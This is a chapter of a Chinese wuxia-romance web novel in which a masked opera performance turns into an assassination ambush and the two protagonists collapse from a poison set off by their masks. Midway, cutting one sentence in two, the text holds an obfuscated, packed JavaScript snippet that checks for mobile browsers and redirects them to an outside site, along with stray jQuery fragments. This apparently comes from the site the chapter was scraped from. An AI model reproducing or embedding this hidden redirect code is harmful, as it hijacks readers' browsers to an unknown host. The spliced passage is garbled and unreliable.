41. 惊变

作品:《捡了个小郎君

    霍宁连连摆手,“放心吧,我看过戏本子,绝对不吓人。”


    看他拍着胸脯保证,姜妺这才打消了离开的念头。


    厢房不大,好在正对着远处戏台中央。桌面中间是一青铜香炉,镂空的花纹曲曲折折,姜妺仔细一瞧,才发现那些花纹其实是一条条交缠在一起的蛇。


    香炉上燃起冉冉青烟,墙壁上挂着琉璃灯,红烛已经烧了大半,蜡泪倒没有多少,想来是新换的烛台。


    不知名的香味很淡,似花香,也似木香。姜妺凑近了香炉微微一嗅,想着待会儿见了跑堂的可要问问这燃的是什么香。


    桌上倒是没有茶饮果子,不知跑堂几时会送来。


    距离开锣还有些时间,姜妺刚想取下脸上的面具,便被霍宁按住。


    “依照陆老板的规矩,这场戏中是不能取下面具的。”


    “这是何故?”


    姜妺不解,先前在府内霍宁也只说有妙用,方才进入梨园之时,她看其他人脸上都覆有面具,还以为是入场的要求,何以此刻也不能取下?


    霍宁挠了挠头,“我也不知,帖子上是这样写的。阿浔向来在意陆老板,今日是陆老板新戏首秀,你我受邀而来,还是依他所言吧。”


    姜妺只得作罢,余光扫见墙壁上繁复的纹样,不由多瞧了几眼。


    “小女子年芳二八,可怜自幼丧父丧母,孤苦无依——”


    凄凄惨惨的念白突兀地响起,姜妺心头一跳,下意识地将视线移向楼下戏台。


    漆黑的幕布缓缓拉开,惨白的光映出戏台角落的白影。青丝如瀑,身形纤细。一身单薄的白衣被光一照,越发白得瘆人。


    “幸得长兄不弃,悉心照料——”


    “一日,得遇一真心人,两情相悦,共赴新房——”


    “夫妻恩爱,如胶似漆——”


    “可恨!”


    姜妺一惊,那转过身来的女子脸上涂着厚厚的白粉,瞪大的双瞳漆黑。


    鲜红的唇,惨白的脸,鬼魅般的念白,都让人不寒而栗。


    戏台上的女子双眼瞪大却无神,视线直直地盯着自己,任谁看了心中都不由害怕。


    姜妺紧了紧手指,压下狂跳的心脏继续听戏。


    “那无耻的贱人,抢我夫郎,害我幼子,就连我——”


    女子双手一绕,水袖在身侧一甩,复搭在臂间。


    紧敲的鼓点砰砰砰地又快又急,只听锵的一声,女子猛得抬头。如血的红唇微启,幽幽念道。


    “三魂没了七魄,被我那夫郎葬入坟陵,天人两隔——”


    “锵锵锵——”


    台上的女子往前快步一迈,漆黑的眼瞳一瞪,眼中尽是杀意恨意。


    “我那愚蠢的夫郎,要为我讨债,杀那贱人,为我祭奠——”


    越来越紧的鼓点像是台上女子心中的怒火,漆黑的眼瞳死死盯着厢房内的看客。


    “怎知那贱人假意认罪,我那婆母有心偏袒,那贱人口口声声什么真情,却转头放火,假死脱身!与那奸夫逃之夭夭!!”


    待话音一落,姜霍二人蹭得站起身,紧盯着台上挥动着水袖的身影。


    “珠胎暗结,可笑我那愚蠢的夫郎,见此孽障,还心软相护!”


    “可怜我那孩儿——”


    凄楚的声音带着恨意,死死盯着站起身的少女。


    “为娘与你报仇,雪恨!!”


    破空而来的声音从四面八方传来,霍宁揽住姜妺腰肢,一脚踢开桌面腾空而起。


    “砰砰砰——”


    十几支箭尽数刺入桌面,霍宁一掌将桌面掷向戏台之上的女子。踩过黑衣人的脑袋,借力跃出窗口。


    迎面而来的渔网上尽是尖锐的匕首,霍宁大惊,左手抓住窗口冲来的黑衣人用力掷向渔网。


    数十把匕首刺穿黑衣人的身体,眨眼间便没了气息。


    霍宁一脚踩在尸体胸口纵身一跃,长腿重重踢在黑衣人面门,反手接住落下的剑扭头便刺穿黑衣人咽喉。


    “嘭——”


    尸体砸在地面的声音惊得周遭的百姓尖叫四逃,霍宁担心百姓受伤,揽着姜妺扭头便冲向城外。


    城内巡逻的军队听到声响正迅速赶往梨园方向,数十名黑衣人倾巢而出,姜妺扭头一瞧,发现他们脸上皆带着面具。


    只是他们的面具之上,尽是狰狞的恶鬼。血红的面具在黑夜里渗人得紧,姜妺头皮发麻,紧紧抱着少年脖颈不敢再瞧。


    “啪——”


    长鞭破空之声响起,霍宁抱紧姜妺就地一滚,险险避开抽来的鞭子。


    被鞭子击打过后的地面留下深深的凹痕,霍宁拧眉一瞧,那鞭子竟是精钢所制,如骨节,两侧尽是尖锐弯曲的钢刺。


    倘若那一鞭抽在他们身上,不死也脱一层皮。


    “孽障!拿命来!!”


    厉呵声响起,姜妺扭头对上女子阴狠的眼瞳。


    “肖妃。”


    来人一身白色戏服,正是方才戏台之上的女子。


    肖蝴蝶冷笑一声,手中长鞭一甩,便击向不远处的二人。


    长鞭来势汹汹,身后又有攻上来的几个黑衣人,霍宁咬了咬牙,一手抱紧姜妺,剑尖挑过一旁的车板,迅速往后一仰。


    车板载着二人快速冲出鞭子波及范围,霍宁右手挥动,只听铮铮几声响动,方才与之交手的几个黑衣人皆被挑断手筋。


    霍宁一脚踢中一黑衣人小腿,借力一跃,便站起身将其一剑封喉。


    其他几个黑衣人还未来得及反应,便被其反手一刺,尽数穿心而过。


    余光扫见势如破竹的长鞭,霍宁右臂一甩,还未断气的黑衣人便被高高扔向空中,下一瞬便被劈下来的长鞭拦腰斩断。


    溅在脸上的血滚烫,姜妺紧紧盯着满是杀意的肖蝴蝶。


    “不对,依那面具人所说,肖蝴蝶想要戚哥哥为其解毒,为何今夜会对我们下此杀手?”


    如果她死了,肖蝴蝶还如何要挟戚百草?


    “他在撒谎?!”


    姜妺咬了咬唇,眼见霍宁身后有人偷袭,姜妺忙抬手作势要撒药粉。


    那黑衣人果然往后一躲,霍宁一脚踢开前方尸体,腰身一转,剑尖便划破身后黑衣人的脖颈。


    姜妺心口砰砰直跳,幸好她赌赢了。巡逻军与锦衣卫先后赶到,肖蝴蝶见状只能不甘不愿地下令


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14754869|157670||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    撤退。


    “噗——”


    “阿宁!!”


    霍宁刚将她放下,便喷出一口黑血仰头倒下。姜妺大惊,忙抱紧霍宁腰身,二人重重砸在地面。


    姜妺心口闷痛,颤抖着手慌乱地擦去少年嘴角血渍,眼睛快速扫过霍宁身体,却不见有任何伤口。


    “阿宁!阿宁!!”


    少女焦急的脸越发模糊,霍宁脑袋一歪,彻底陷入黑暗。


    “妺儿!”


    熟悉的声音传来,姜妺无助地抬头看向奔来的男子。


    “小白…”


    少女呕出一口黑血,歪倒在了少年胸口失去了意识。


    沈听白呼吸一滞,冲到少女身边抓着她的手腕伸手一探,忙掏出解毒丹喂给二人。


    “沈老板,我们需得尽快送小侯爷回府。”


    锦衣卫自然认得霍宁,看他吐血昏迷本就大惊,正要来将霍宁带回公主府,便见沈听白冲过来救人。


    沈听白点头,抱起昏迷的少女与锦衣卫共同前往公主府。


    ……


    烛火闪烁,明明灭灭地,好似下一瞬便被风吹散。霍云舒看得心焦,挑了挑烛芯快步冲到床边。


    “怎么样?”


    戚百草取下最后一枚银针,紧皱的眉头没有一刻松懈。


    “他们究竟中了什么毒?”


    戚百草已经忙活了大半夜,可是床上的二人还是没有苏醒的迹象。霍云舒压低了声音询问,看他脸上尽是凝重,不由越发焦灼。


    “是七月七花。”


    “七月七花?可是中了七月七花,不是要七日后才会昏迷吗?这一路上,他们都好好的,毫无中毒之像。怎么会昏迷不醒呢?”


    霍云舒也听说过七月七花,中毒之人在七日之内会逐渐衰弱,嗜睡,直到第七日彻底昏迷。


    一个月内若是没有解毒,中毒之人会心脉尽碎,全身溃烂而死。


    可是他们这几日并没有发现他们二人有不对劲之处,怎会忽然昏迷?


    “七月七花虽然会在身体内潜伏七日,可若加以瓷木花,与阴沉木,便可在一炷香内毒发。”


    戚百草扭头盯着桌面上的面具,这是锦衣卫送来的,正是阴沉木。


    “二郎为何会突然带着妺儿去看戏?”


    嬴莜婧眉头紧皱,深更半夜,还带着这样诡异的面具,当真奇怪。


    “公主,这是奴婢在侯爷房中找到的。”


    丫鬟急匆匆地掀帘而入,将手中请帖戏本交给嬴莜婧。


    “陆殊词?就是梨园那个戏子?”


    嬴莜婧抬起头,丫鬟点头。


    “正是,今夜奴婢值夜,铺过床之后便在桌子上看到了这个请帖。与之一同送来的,还有戏本子与那两个面具。”


    “可知是何人送来?”


    丫鬟摇头,“想来是陆老板。”


    嬴莜婧摆了摆手示意丫鬟退下,微微抿唇看向床上昏迷的少年。


    “这是肖妃故意做局,二郎只想着带妺儿出门散心,却恰好落入肖妃的圈套。”


    “嘭——”


    银光在余光中一闪而过,霍云舒迅速掷出杯盏击下箭矢。